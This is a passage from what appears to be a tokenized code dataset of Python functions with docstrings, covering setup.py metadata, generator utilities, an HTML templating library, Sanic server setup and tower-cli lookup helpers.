requirements_files.items():<EOL><INDENT>requires[key] = []<EOL>if os.path.exists(srcfile(filename)):<EOL><INDENT>with open(srcfile(filename), encoding='<STR_LIT:utf-8>') as handle:<EOL><INDENT>for line in handle:<EOL><INDENT>line = line.strip()<EOL>if line and not line.startswith('<STR_LIT:#>'):<EOL><INDENT>if line.startswith('<STR_LIT>'):<EOL><INDENT>line = line.split()[<NUM_LIT:1>].split('<STR_LIT>')[<NUM_LIT:1>]<EOL><DEDENT>requires[key].append(line)<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>if not any('<STR_LIT>' == re.split('<STR_LIT>', i.lower())[<NUM_LIT:0>] for i in requires['<STR_LIT:test>']):<EOL><INDENT>requires['<STR_LIT:test>'].append('<STR_LIT>') <EOL><DEDENT>console_scripts = []<EOL>for path, dirs, files in os.walk(srcfile('<STR_LIT:src>', package_name)):<EOL><INDENT>dirs = [i for i in dirs if not i.startswith('<STR_LIT:.>')]<EOL>if '<STR_LIT>' in files:<EOL><INDENT>path = path[len(srcfile('<STR_LIT:src>') + os.sep):]<EOL>appname = path.split(os.sep)[-<NUM_LIT:1>]<EOL>with open(srcfile('<STR_LIT:src>', path, '<STR_LIT>'), encoding='<STR_LIT:utf-8>') as handle:<EOL><INDENT>for line in handle.readlines():<EOL><INDENT>match = re.match(r\"\"\"<STR_LIT>\"\"\", line)<EOL>if match:<EOL><INDENT>appname = match.group(<NUM_LIT:2>)<EOL><DEDENT><DEDENT><DEDENT>console_scripts.append('<STR_LIT>'.format(appname, path.replace(os.sep, '<STR_LIT:.>')))<EOL><DEDENT><DEDENT>candidate_files = [<EOL>'<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>]<EOL>data_files = defaultdict(list)<EOL>for filename in candidate_files:<EOL><INDENT>if os.path.exists(srcfile(filename)):<EOL><INDENT>data_files['<STR_LIT>'].append(filename)<EOL><DEDENT><DEDENT>classifiers = []<EOL>for classifiers_txt in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>classifiers_txt = srcfile(classifiers_txt)<EOL>if os.path.exists(classifiers_txt):<EOL><INDENT>with open(classifiers_txt, encoding='<STR_LIT:utf-8>') as handle:<EOL><INDENT>classifiers = [i.strip() for i in handle if i.strip() and not i.startswith('<STR_LIT:#>')]<EOL><DEDENT>break<EOL><DEDENT><DEDENT>metadata.update(dict(<EOL>name = name,<EOL>package_dir = {'<STR_LIT>': '<STR_LIT:src>'},<EOL>packages = find_packages(srcfile('<STR_LIT:src>'), exclude=['<STR_LIT>']),<EOL>data_files = data_files.items(),<EOL>zip_safe = False,<EOL>include_package_data = True,<EOL>install_requires = requires['<STR_LIT>'],<EOL>setup_requires = requires['<STR_LIT>'],<EOL>tests_require =  requires['<STR_LIT:test>'],<EOL>classifiers = classifiers,<EOL>cmdclass = dict(<EOL>test = PyTest,<EOL>),<EOL>entry_points = dict(<EOL>console_scripts = console_scripts,<EOL>),<EOL>))<EOL>return metadata<EOL>", "docstring": "Return project's metadata as a dict.", "id": "f3297:m1"}
{"signature": "def try_until_positive(req):", "body": "response = yield req<EOL>while response < <NUM_LIT:0>:<EOL><INDENT>try:<EOL><INDENT>response = yield '<STR_LIT>'<EOL><DEDENT>except GeneratorExit:<EOL><INDENT>return<EOL><DEDENT>except ValueError:<EOL><INDENT>yield '<STR_LIT>'<EOL><DEDENT><DEDENT>return response<EOL>", "docstring": "an example relay", "id": "f3299:m2"}
{"signature": "def try_until_even(req):", "body": "response = yield req<EOL>while response % <NUM_LIT:2>:<EOL><INDENT>try:<EOL><INDENT>response = yield '<STR_LIT>'<EOL><DEDENT>except GeneratorExit:<EOL><INDENT>return<EOL><DEDENT>except ValueError:<EOL><INDENT>yield '<STR_LIT>'<EOL><DEDENT><DEDENT>return response<EOL>", "docstring": "an example relay", "id": "f3299:m3"}
{"signature": "def mymax(val):", "body": "while val < <NUM_LIT:100>:<EOL><INDENT>try:<EOL><INDENT>sent = yield val<EOL><DEDENT>except GeneratorExit:<EOL><INDENT>return<EOL><DEDENT>except ValueError:<EOL><INDENT>sent = yield '<STR_LIT>'<EOL><DEDENT>except TypeError:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>if sent > val:<EOL><INDENT>val = sent<EOL><DEDENT><DEDENT>return val * <NUM_LIT:3><EOL>", "docstring": "an example generator function", "id": "f3299:m4"}
{"signature": "@py2_compatible<EOL>def try_until_positive(req):", "body": "response = yield req<EOL>while response < <NUM_LIT:0>:<EOL><INDENT>try:<EOL><INDENT>response = yield '<STR_LIT>'<EOL><DEDENT>except GeneratorExit:<EOL><INDENT>return<EOL><DEDENT>except ValueError:<EOL><INDENT>yield '<STR_LIT>'<EOL><DEDENT><DEDENT>return_(response)<EOL>", "docstring": "an example relay", "id": "f3300:m2"}
{"signature": "@py2_compatible<EOL>def try_until_even(req):", "body": "response = yield req<EOL>while response % <NUM_LIT:2>:<EOL><INDENT>try:<EOL><INDENT>response = yield '<STR_LIT>'<EOL><DEDENT>except GeneratorExit:<EOL><INDENT>return<EOL><DEDENT>except ValueError:<EOL><INDENT>yield '<STR_LIT>'<EOL><DEDENT><DEDENT>return_(response)<EOL>", "docstring": "an example relay", "id": "f3300:m3"}
{"signature": "@py2_compatible<EOL>def mymax(val):", "body": "while val < <NUM_LIT:100>:<EOL><INDENT>try:<EOL><INDENT>sent = yield val<EOL><DEDENT>except GeneratorExit:<EOL><INDENT>return<EOL><DEDENT>except ValueError:<EOL><INDENT>sent = yield '<STR_LIT>'<EOL><DEDENT>except TypeError:<EOL><INDENT>return_('<STR_LIT>')<EOL><DEDENT>if sent > val:<EOL><INDENT>val = sent<EOL><DEDENT><DEDENT>return_(val * <NUM_LIT:3>)<EOL>", "docstring": "an example generator function", "id": "f3300:m4"}
{"signature": "def with_generator(name):", "body": "gens = [getattr(common, name)]<EOL>if not PY2:<EOL><INDENT>from . import py3<EOL>gens.append(getattr(py3, name))<EOL><DEDENT>return pytest.mark.parametrize(name, gens)<EOL>", "docstring": "use a python 2/3 parametrized generator", "id": "f3302:m0"}
{"signature": "def _add_metaclass(metaclass):  ", "body": "def wrapper(cls):<EOL><INDENT>orig_vars = cls.__dict__.copy()<EOL>slots = orig_vars.get('<STR_LIT>')<EOL>if slots is not None:<EOL><INDENT>if isinstance(slots, str):<EOL><INDENT>slots = [slots]<EOL><DEDENT>for slots_var in slots:<EOL><INDENT>orig_vars.pop(slots_var)<EOL><DEDENT><DEDENT>orig_vars.pop('<STR_LIT>', None)<EOL>orig_vars.pop('<STR_LIT>', None)<EOL>return metaclass(cls.__name__, cls.__bases__, orig_vars)<EOL><DEDENT>return wrapper<EOL>", "docstring": "Class decorator for creating a class with a metaclass.", "id": "f3303:m0"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def __iter__(self):<DEDENT>", "body": "raise NotImplementedError()<EOL>", "docstring": "Returns\n-------\n~typing.Generator[T_yield, T_send, T_return]\n    the generator iterator", "id": "f3303:c0:m0"}
{"signature": "def __call__(self, *args, **kwargs):", "body": "raise NotImplementedError()<EOL>", "docstring": "Returns\n-------\n~typing.Generator[T_yield, T_send, T_return]\n    the resulting generator", "id": "f3303:c1:m0"}
{"signature": "def replace(self, **kwargs):", "body": "copied = self.__signature__.bind(*self._bound_args.args,<EOL>**self._bound_args.kwargs)<EOL>copied.arguments.update(**kwargs)<EOL>return self.__class__(*copied.args, **copied.kwargs)<EOL>", "docstring": "create a new instance with certain fields replaced\n\n        Parameters\n        ----------\n        **kwargs\n            fields to replace\n\n        Returns\n        -------\n        ReusableGenerator\n            a copy with replaced fields", "id": "f3303:c3:m6"}
{"signature": "def py2_compatible(func):", "body": "return compose(GeneratorProxy, func)<EOL>", "docstring": "Decorate a generator function to make it Python 2/3 compatible.\n    Use together with :func:`return_`.\n\n    Example\n    -------\n\n    >>> @py2_compatible\n    ... def my_max(value):\n    ...     while value < 100:\n    ...         newvalue = yield value\n    ...         if newvalue > value:\n    ...             value = newvalue\n    ...     return_(value)\n\n    is equivalent to:\n\n    >>> def my_max(value):\n    ...     while value < 100:\n    ...         newvalue = yield value\n    ...         if newvalue > value:\n    ...             value = newvalue\n    ...     return value\n\n    Note\n    ----\n    This is necessary because PEP479 makes it impossible to replace\n    ``return`` with ``raise StopIteration`` in newer python 3 versions.\n\n    Warning\n    -------\n    Although the wrapped generator acts like a generator,\n    it is not an strict generator instance.\n    For most purposes (e.g. ``yield from``) it works fine,\n    but :func:`~inspect.isgenerator` will return ``False``.\n\n    See also\n    --------\n    `PEP 479 <https://www.python.org/dev/peps/pep-0479/>`_", "id": "f3305:m1"}
{"signature": "def return_(value):", "body": "raise GeneratorReturn(value)<EOL>", "docstring": "Python 2/3 compatible way to return a value from a generator\n\n    Use only with the :func:`py2_compatible` decorator", "id": "f3305:m2"}
{"signature": "def reusable(func):", "body": "sig = signature(func)<EOL>origin = func<EOL>while hasattr(origin, '<STR_LIT>'):<EOL><INDENT>origin = origin.__wrapped__<EOL><DEDENT>return type(<EOL>origin.__name__,<EOL>(ReusableGenerator, ),<EOL>dict([<EOL>('<STR_LIT>',       origin.__doc__),<EOL>('<STR_LIT>',    origin.__module__),<EOL>('<STR_LIT>', sig),<EOL>('<STR_LIT>',   staticmethod(func)),<EOL>] + [<EOL>(name, property(compose(itemgetter(name),<EOL>attrgetter('<STR_LIT>'))))<EOL>for name in sig.parameters<EOL>] + ([<EOL>('<STR_LIT>',  origin.__qualname__),<EOL>] if sys.version_info > (<NUM_LIT:3>, ) else [])))<EOL>", "docstring": "Create a reusable class from a generator function\n\n    Parameters\n    ----------\n    func: GeneratorCallable[T_yield, T_send, T_return]\n        the function to wrap\n\n    Note\n    ----\n    * the callable must have an inspectable signature\n    * If bound to a class, the new reusable generator is callable as a method.\n      To opt out of this, add a :func:`staticmethod` decorator above\n      this decorator.", "id": "f3305:m3"}
{"signature": "def sendreturn(gen, value):", "body": "try:<EOL><INDENT>gen.send(value)<EOL><DEDENT>except StopIteration as e:<EOL><INDENT>return stopiter_value(e)<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Send an item into a generator expecting a final return value\n\n    Parameters\n    ----------\n    gen: ~typing.Generator[T_yield, T_send, T_return]\n        the generator to send the value to\n    value: T_send\n        the value to send\n\n    Raises\n    ------\n    RuntimeError\n        if the generator did not return as expected\n\n    Returns\n    -------\n    T_return\n        the generator's return value", "id": "f3305:m5"}
{"signature": "@py2_compatible<EOL>def imap_yield(func, gen):", "body": "gen = iter(gen)<EOL>assert _is_just_started(gen)<EOL>yielder = yield_from(gen)<EOL>for item in yielder:<EOL><INDENT>with yielder:<EOL><INDENT>yielder.send((yield func(item)))<EOL><DEDENT><DEDENT>return_(yielder.result)<EOL>", "docstring": "Apply a function to all ``yield`` values of a generator\n\n    Parameters\n    ----------\n    func: ~typing.Callable[[T_yield], T_mapped]\n        the function to apply\n    gen: Generable[T_yield, T_send, T_return]\n        the generator iterable.\n\n    Returns\n    -------\n    ~typing.Generator[T_mapped, T_send, T_return]\n        the mapped generator", "id": "f3305:m6"}
{"signature": "@py2_compatible<EOL>def imap_send(func, gen):", "body": "gen = iter(gen)<EOL>assert _is_just_started(gen)<EOL>yielder = yield_from(gen)<EOL>for item in yielder:<EOL><INDENT>with yielder:<EOL><INDENT>yielder.send(func((yield item)))<EOL><DEDENT><DEDENT>return_(yielder.result)<EOL>", "docstring": "Apply a function to all ``send`` values of a generator\n\n    Parameters\n    ----------\n    func: ~typing.Callable[[T_send], T_mapped]\n        the function to apply\n    gen: Generable[T_yield, T_mapped, T_return]\n        the generator iterable.\n\n    Returns\n    -------\n    ~typing.Generator[T_yield, T_send, T_return]\n        the mapped generator", "id": "f3305:m7"}
{"signature": "@py2_compatible<EOL>def imap_return(func, gen):", "body": "gen = iter(gen)<EOL>assert _is_just_started(gen)<EOL>yielder = yield_from(gen)<EOL>for item in yielder:<EOL><INDENT>with yielder:<EOL><INDENT>yielder.send((yield item))<EOL><DEDENT><DEDENT>return_(func(yielder.result))<EOL>", "docstring": "Apply a function to the ``return`` value of a generator\n\n    Parameters\n    ----------\n    func: ~typing.Callable[[T_return], T_mapped]\n        the function to apply\n    gen: Generable[T_yield, T_send, T_return]\n        the generator iterable.\n\n    Returns\n    -------\n    ~typing.Generator[T_yield, T_send, T_mapped]", "id": "f3305:m8"}
{"signature": "@py2_compatible<EOL>def irelay(gen, thru):", "body": "gen = iter(gen)<EOL>assert _is_just_started(gen)<EOL>yielder = yield_from(gen)<EOL>for item in yielder:<EOL><INDENT>with yielder:<EOL><INDENT>subgen = thru(item)<EOL>subyielder = yield_from(subgen)<EOL>for subitem in subyielder:<EOL><INDENT>with subyielder:<EOL><INDENT>subyielder.send((yield subitem))<EOL><DEDENT><DEDENT>yielder.send(subyielder.result)<EOL><DEDENT><DEDENT>return_(yielder.result)<EOL>", "docstring": "Create a new generator by relaying yield/send interactions\n    through another generator\n\n    Parameters\n    ----------\n    gen: Generable[T_yield, T_send, T_return]\n        the original generator\n    thru: ~typing.Callable[[T_yield], ~typing.Generator]\n        the generator callable through which each interaction is relayed\n\n    Returns\n    -------\n    ~typing.Generator\n        the relayed generator", "id": "f3305:m9"}
{"signature": "def modify(self):", "body": "pass<EOL>", "docstring": "Sub test classes can modify the blok here for testing, before all tests are ran", "id": "f3310:c0:m1"}
{"signature": "def add(self, *names):", "body": "def decorator(blok):<EOL><INDENT>for name in names or (blok.__name__, ):<EOL><INDENT>self[name] = blok<EOL><DEDENT>return blok<EOL><DEDENT>return decorator<EOL>", "docstring": "Returns back a class decorator that enables registering Blox to this factory", "id": "f3315:c0:m1"}
{"signature": "def __call__(self, product_name, **properties):", "body": "if not product_name in self:<EOL><INDENT>return self.default(tag=product_name, **properties)<EOL><DEDENT>return self[product_name](**properties)<EOL>", "docstring": "Builds and returns a Blok object", "id": "f3315:c0:m2"}
{"signature": "def output(self, to=None, *args, **kwargs):", "body": "for blok in self:<EOL><INDENT>blok.output(to, *args, **kwargs)<EOL><DEDENT>return self<EOL>", "docstring": "Outputs to a stream (like a file or request)", "id": "f3317:c0:m3"}
{"signature": "def render(self, *args, **kwargs):", "body": "render_to = StringIO()<EOL>self.output(render_to, *args, **kwargs)<EOL>return render_to.getvalue()<EOL>", "docstring": "Renders as a str", "id": "f3317:c0:m4"}
{"signature": "def __new__(metaclass, name, parents, class_dict, *kargs, **kwargs):", "body": "attributes = {name: attribute for name, attribute in class_dict.items() if isinstance(attribute,<EOL>AbstractAttribute)}<EOL>if attributes:<EOL><INDENT>if hasattr(parents[<NUM_LIT:0>], '<STR_LIT>'):<EOL><INDENT>full_attributes = parents[<NUM_LIT:0>].attribute_descriptors.copy()<EOL>full_attributes.update(attributes)<EOL>attributes = full_attributes<EOL><DEDENT>blok_attributes = {}<EOL>render_attributes = []<EOL>direct_attributes = []<EOL>init_attributes = []<EOL>accessor_attributes = []<EOL>attribute_map = {}<EOL>for attribute_name, attribute in attributes.items():<EOL><INDENT>if not hasattr(attribute, '<STR_LIT:name>'):<EOL><INDENT>attribute.name = attribute_name<EOL><DEDENT>if isinstance(attribute, DirectAttribute):<EOL><INDENT>direct_attributes.append(attribute)<EOL>if hasattr(attribute, '<STR_LIT>'):<EOL><INDENT>render_attributes.append(attribute)<EOL><DEDENT>if not hasattr(attribute, '<STR_LIT>'):<EOL><INDENT>attribute.object_attribute = '<STR_LIT>'.format(attribute_name)<EOL><DEDENT>if getattr(attribute, '<STR_LIT>', False):<EOL><INDENT>init_attributes.append(attribute_name)<EOL><DEDENT><DEDENT>if isinstance(attribute, (BlokAttribute, NestedBlokAttribute)) and hasattr(attribute.type, '<STR_LIT>'):<EOL><INDENT>blok_attributes[attribute.type.tag] = attribute<EOL><DEDENT>if isinstance(attribute, AccessorAttribute):<EOL><INDENT>accessor_attributes.append(attribute)<EOL>if not hasattr(attribute, '<STR_LIT>'):<EOL><INDENT>attribute.parent_attribute = '<STR_LIT>'.format(attribute_name)<EOL><DEDENT><DEDENT>attribute_map[attribute.name] = attribute_name<EOL><DEDENT>if direct_attributes and not name == '<STR_LIT>' and '<STR_LIT>' in class_dict:<EOL><INDENT>class_dict['<STR_LIT>'] += tuple(attribute.object_attribute for attribute in direct_attributes)<EOL>class_dict['<STR_LIT>'] += tuple(attribute.parent_attribute for attribute in accessor_attributes)<EOL><DEDENT>if render_attributes:<EOL><INDENT>if hasattr(parents[<NUM_LIT:0>], '<STR_LIT>'):<EOL><INDENT>render_attributes = list(parents[<NUM_LIT:0>].render_attributes) + render_attributes<EOL><DEDENT>class_dict['<STR_LIT>'] = set(render_attributes)<EOL><DEDENT>if init_attributes:<EOL><INDENT>if hasattr(parents[<NUM_LIT:0>], '<STR_LIT>'):<EOL><INDENT>init_attributes = list(parents[<NUM_LIT:0>].init_attributes) + init_attributes<EOL><DEDENT>class_dict['<STR_LIT>'] = init_attributes<EOL><DEDENT>if blok_attributes:<EOL><INDENT>if hasattr(parents[<NUM_LIT:0>], '<STR_LIT>'):<EOL><INDENT>full_blok_attributes = dict(parents[<NUM_LIT:0>].blok_attributes)<EOL>full_blok_attributes.update(blok_attributes)<EOL>blok_attributes = full_blok_attributes<EOL><DEDENT>class_dict['<STR_LIT>'] = blok_attributes<EOL><DEDENT>if attribute_map:<EOL><INDENT>if hasattr(parents[<NUM_LIT:0>], '<STR_LIT>'):<EOL><INDENT>full_attribute_map = dict(parents[<NUM_LIT:0>].attribute_map)<EOL>full_attribute_map.update(attribute_map)<EOL>attribute_map = full_attribute_map<EOL><DEDENT>class_dict['<STR_LIT>'] = attribute_map<EOL><DEDENT>class_dict['<STR_LIT>'] = attributes<EOL>attribute_signals = (attribute.signal for attribute in attributes.values() if getattr(attribute, '<STR_LIT>'))<EOL>if attribute_signals:<EOL><INDENT>class_dict['<STR_LIT>'] = class_dict.get('<STR_LIT>', ()) + tuple(attribute_signals)<EOL><DEDENT><DEDENT>return super(TagAttributes, metaclass).__new__(metaclass, name, parents, class_dict, *kargs, **kwargs)<EOL>", "docstring": "Updates a tag class to automatically register all signals", "id": "f3317:c1:m0"}
{"signature": "def output(self, to=None, *args, **kwargs):", "body": "to.write('<STR_LIT>')<EOL>return self<EOL>", "docstring": "Outputs to a stream (like a file or request)", "id": "f3317:c2:m0"}
{"signature": "def render(self, *args, **kwargs):", "body": "render_to = StringIO()<EOL>self.output(render_to, *args, **kwargs)<EOL>return render_to.getvalue()<EOL>", "docstring": "Renders as a str", "id": "f3317:c2:m1"}
{"signature": "@property<EOL><INDENT>def blox_container(self):<DEDENT>", "body": "return self<EOL>", "docstring": "Returns the container that should be responsible adding children, outside of init", "id": "f3317:c4:m1"}
{"signature": "@property<EOL><INDENT>def blox(self):<DEDENT>", "body": "if not hasattr(self, '<STR_LIT>'):<EOL><INDENT>self._blox = Blox()<EOL><DEDENT>return self._blox<EOL>", "docstring": "Lazily creates and returns the list of child blox", "id": "f3317:c4:m2"}
{"signature": "def __call__(self, *blox, position=None):", "body": "if position is not None:<EOL><INDENT>for blok in blox:<EOL><INDENT>self.blox_container.blox.insert(position, blok)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>for blok in blox:<EOL><INDENT>self.blox_container.blox.append(blok)<EOL><DEDENT><DEDENT>return blok<EOL>", "docstring": "Adds a nested blok to this blok", "id": "f3317:c4:m3"}
{"signature": "def output(self, to=None, formatted=False, indent=<NUM_LIT:0>, indentation='<STR_LIT:U+0020>', *args, **kwargs):", "body": "if formatted and self.blox:<EOL><INDENT>self.blox[<NUM_LIT:0>].output(to=to, formatted=True, indent=indent, indentation=indentation, *args, **kwargs)<EOL>for blok in self.blox[<NUM_LIT:1>:]:<EOL><INDENT>to.write('<STR_LIT:\\n>')<EOL>to.write(indent * indentation)<EOL>blok.output(to=to, formatted=True, indent=indent, indentation=indentation, *args, **kwargs)<EOL><DEDENT>if not indent:<EOL><INDENT>to.write('<STR_LIT:\\n>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>for blok in self.blox:<EOL><INDENT>blok.output(to=to, *args, **kwargs)<EOL><DEDENT><DEDENT>return self<EOL>", "docstring": "Outputs to a stream (like a file or request)", "id": "f3317:c4:m14"}
{"signature": "@property<EOL><INDENT>def attributes(self):<DEDENT>", "body": "if not hasattr(self, '<STR_LIT>'):<EOL><INDENT>self._attributes = {}<EOL><DEDENT>return self._attributes<EOL>", "docstring": "Lazily creates and returns a tags attributes", "id": "f3317:c5:m1"}
{"signature": "@property<EOL><INDENT>def start_tag(self):<DEDENT>", "body": "direct_attributes = (attribute.render(self) for attribute in self.render_attributes)<EOL>attributes = ()<EOL>if hasattr(self, '<STR_LIT>'):<EOL><INDENT>attributes = ('<STR_LIT>'.format(key, value)<EOL>for key, value in self.attributes.items() if value)<EOL><DEDENT>rendered_attributes = \"<STR_LIT:U+0020>\".join(filter(bool, chain(direct_attributes, attributes)))<EOL>return '<STR_LIT>'.format(self.tag, '<STR_LIT:U+0020>' if rendered_attributes else '<STR_LIT>',<EOL>rendered_attributes, '<STR_LIT>' if self.tag_self_closes else \"<STR_LIT>\")<EOL>", "docstring": "Returns the elements HTML start tag", "id": "f3317:c5:m2"}
{"signature": "@property<EOL><INDENT>def end_tag(self):<DEDENT>", "body": "if self.tag_self_closes:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>return \"<STR_LIT>\".format(self.tag)<EOL>", "docstring": "Returns the elements HTML end tag", "id": "f3317:c5:m3"}
{"signature": "def output(self, to=None, *args, **kwargs):", "body": "to.write(self.start_tag)<EOL>if not self.tag_self_closes:<EOL><INDENT>to.write(self.end_tag)<EOL><DEDENT>", "docstring": "Outputs to a stream (like a file or request)", "id": "f3317:c5:m4"}
{"signature": "def output(self, to=None, formatted=False, indent=<NUM_LIT:0>, indentation='<STR_LIT:U+0020>', *args, **kwargs):", "body": "if formatted:<EOL><INDENT>to.write(self.start_tag)<EOL>to.write('<STR_LIT:\\n>')<EOL>if not self.tag_self_closes:<EOL><INDENT>for blok in self.blox:<EOL><INDENT>to.write(indentation * (indent + <NUM_LIT:1>))<EOL>blok.output(to=to, indent=indent + <NUM_LIT:1>, formatted=True, indentation=indentation, *args, **kwargs)<EOL>to.write('<STR_LIT:\\n>')<EOL><DEDENT><DEDENT>to.write(indentation * indent)<EOL>to.write(self.end_tag)<EOL>if not indentation:<EOL><INDENT>to.write('<STR_LIT:\\n>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>to.write(self.start_tag)<EOL>if not self.tag_self_closes:<EOL><INDENT>for blok in self.blox:<EOL><INDENT>blok.output(to=to, *args, **kwargs)<EOL><DEDENT><DEDENT>to.write(self.end_tag)<EOL><DEDENT>", "docstring": "Outputs to a stream (like a file or request)", "id": "f3317:c8:m1"}
{"signature": "def output(self, to=None, *args, **kwargs):", "body": "to.write(str(self._value))<EOL>", "docstring": "Outputs the set text", "id": "f3318:c0:m3"}
{"signature": "def __call__(self, text):", "body": "self.value = text<EOL>return self<EOL>", "docstring": "Updates the text value", "id": "f3318:c0:m4"}
{"signature": "def output(self, to=None, *args, **kwargs):", "body": "to.write(cgi.escape(str(self._value)))<EOL>", "docstring": "Outputs the set text", "id": "f3318:c1:m0"}
{"signature": "def string(html, start_on=None, ignore=(), use_short=True, **queries):", "body": "if use_short:<EOL><INDENT>html = grow_short(html)<EOL><DEDENT>return _to_template(fromstring(html), start_on=start_on,<EOL>ignore=ignore, **queries)<EOL>", "docstring": "Returns a blox template from an html string", "id": "f3320:m0"}
{"signature": "def file(file_object, start_on=None, ignore=(), use_short=True, **queries):", "body": "return string(file_object.read(), start_on=start_on, ignore=ignore, use_short=use_short, **queries)<EOL>", "docstring": "Returns a blox template from a file stream object", "id": "f3320:m1"}
{"signature": "def filename(file_name, start_on=None, ignore=(), use_short=True, **queries):", "body": "with open(file_name) as template_file:<EOL><INDENT>return file(template_file, start_on=start_on, ignore=ignore, use_short=use_short, **queries)<EOL><DEDENT>", "docstring": "Returns a blox template from a valid file path", "id": "f3320:m2"}
{"signature": "def serve(self, sock, request_handler, error_handler, debug=False,<EOL>request_timeout=<NUM_LIT>, ssl=None, request_max_size=None,<EOL>reuse_port=False, loop=None, protocol=HttpProtocol,<EOL>backlog=<NUM_LIT:100>, **kwargs):", "body": "if debug:<EOL><INDENT>loop.set_debug(debug)<EOL><DEDENT>server = partial(<EOL>protocol,<EOL>loop=loop,<EOL>connections=self.connections,<EOL>signal=self.signal,<EOL>request_handler=request_handler,<EOL>error_handler=error_handler,<EOL>request_timeout=request_timeout,<EOL>request_max_size=request_max_size,<EOL>)<EOL>server_coroutine = loop.create_server(<EOL>server,<EOL>host=None,<EOL>port=None,<EOL>ssl=ssl,<EOL>reuse_port=reuse_port,<EOL>sock=sock,<EOL>backlog=backlog<EOL>)<EOL>loop.call_soon(partial(update_current_time, loop))<EOL>return server_coroutine<EOL>", "docstring": "Start asynchronous HTTP Server on an individual process.\n\n        :param request_handler: Sanic request handler with middleware\n        :param error_handler: Sanic error handler with middleware\n        :param debug: enables debug output (slows server)\n        :param request_timeout: time in seconds\n        :param ssl: SSLContext\n        :param sock: Socket for the server to accept connections from\n        :param request_max_size: size in bytes, `None` for no limit\n        :param reuse_port: `True` for multiple workers\n        :param loop: asyncio compatible event loop\n        :param protocol: subclass of asyncio protocol class\n        :return: Nothing", "id": "f3325:c0:m5"}
{"signature": "@staticmethod<EOL><INDENT>def _create_ssl_context(cfg):<DEDENT>", "body": "ctx = ssl.SSLContext(cfg.ssl_version)<EOL>ctx.load_cert_chain(cfg.certfile, cfg.keyfile)<EOL>ctx.verify_mode = cfg.cert_reqs<EOL>if cfg.ca_certs:<EOL><INDENT>ctx.load_verify_locations(cfg.ca_certs)<EOL><DEDENT>if cfg.ciphers:<EOL><INDENT>ctx.set_ciphers(cfg.ciphers)<EOL><DEDENT>return ctx<EOL>", "docstring": "Creates SSLContext instance for usage in asyncio.create_server.\n        See ssl.SSLSocket.__init__ for more details.", "id": "f3325:c0:m8"}
{"signature": "def _pop_none(self, kwargs):", "body": "for key, value in copy(kwargs).items():<EOL><INDENT>if value is None or value == ():<EOL><INDENT>kwargs.pop(key)<EOL><DEDENT>if hasattr(value, '<STR_LIT>'):<EOL><INDENT>kwargs[key] = value.read()<EOL><DEDENT><DEDENT>", "docstring": "Remove default values (anything where the value is None). click is unfortunately bad at the way it\n        sends through unspecified defaults.", "id": "f3329:c1:m0"}
{"signature": "def _lookup(self, fail_on_missing=False, fail_on_found=False, include_debug_header=True, **kwargs):", "body": "read_params = {}<EOL>for field_name in self.identity:<EOL><INDENT>if field_name in kwargs:<EOL><INDENT>read_params[field_name] = kwargs[field_name]<EOL><DEDENT><DEDENT>if '<STR_LIT:id>' in self.identity and len(self.identity) == <NUM_LIT:1>:<EOL><INDENT>return {}<EOL><DEDENT>if not read_params:<EOL><INDENT>raise exc.BadRequest('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>try:<EOL><INDENT>existing_data = self.get(include_debug_header=include_debug_header, **read_params)<EOL>if fail_on_found:<EOL><INDENT>raise exc.Found('<STR_LIT>' %<EOL>read_params)<EOL><DEDENT>return existing_data<EOL><DEDENT>except exc.NotFound:<EOL><INDENT>if fail_on_missing:<EOL><INDENT>raise exc.NotFound('<STR_LIT>' %<EOL>read_params)<EOL><DEDENT>return {}<EOL><DEDENT>", "docstring": "=====API DOCS=====\nAttempt to perform a lookup that is expected to return a single result, and return the record.\n\nThis method is a wrapper around `get` that strips out non-unique keys, and is used internally by\n`write` and `delete`.\n\n:param fail_on_missing: Flag that raise exception if no resource is found.\n:type fail_on_missing: bool\n:param fail_on_found: Flag that raise exception if a resource is found.\n:type fail_on_found: bool\n:param include_debug_header: Flag determining whether to print debug messages when querying\n                             Tower backend.\n:type include_debug_header: bool\n:param `**kwargs`: Keyword arguments list of available fields used for searching resource.\n:returns: A JSON object containing details of the resource returned by Tower backend.\n:rtype: dict\n\n:raises tower_cli.exceptions.BadRequest: When no field are provided in kwargs.\n:raises tower_cli.exceptions.Found: When a resource is found and fail_on_found flag is on.\n:raises tower_cli.exceptions.NotFound: When no resource is found and fail_on_missing flag\n                                       is on.\n=====API DOCS=====", "id": "f3329:c1:m1"}
{"signature": "def _convert_pagenum(self, kwargs):", "body": "for key in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>if not kwargs.get(key):<EOL><INDENT>continue<EOL><DEDENT>match = re.search(r'<STR_LIT>', kwargs[key])<EOL>if match is None and key == '<STR_LIT>':<EOL><INDENT>kwargs[key] = <NUM_LIT:1><EOL>continue<EOL><DEDENT>kwargs[key] = int(match.groupdict()['<STR_LIT>'])<EOL><DEDENT>", "docstring": "Convert next and previous from URLs to integers", "id": "f3329:c1:m2"}
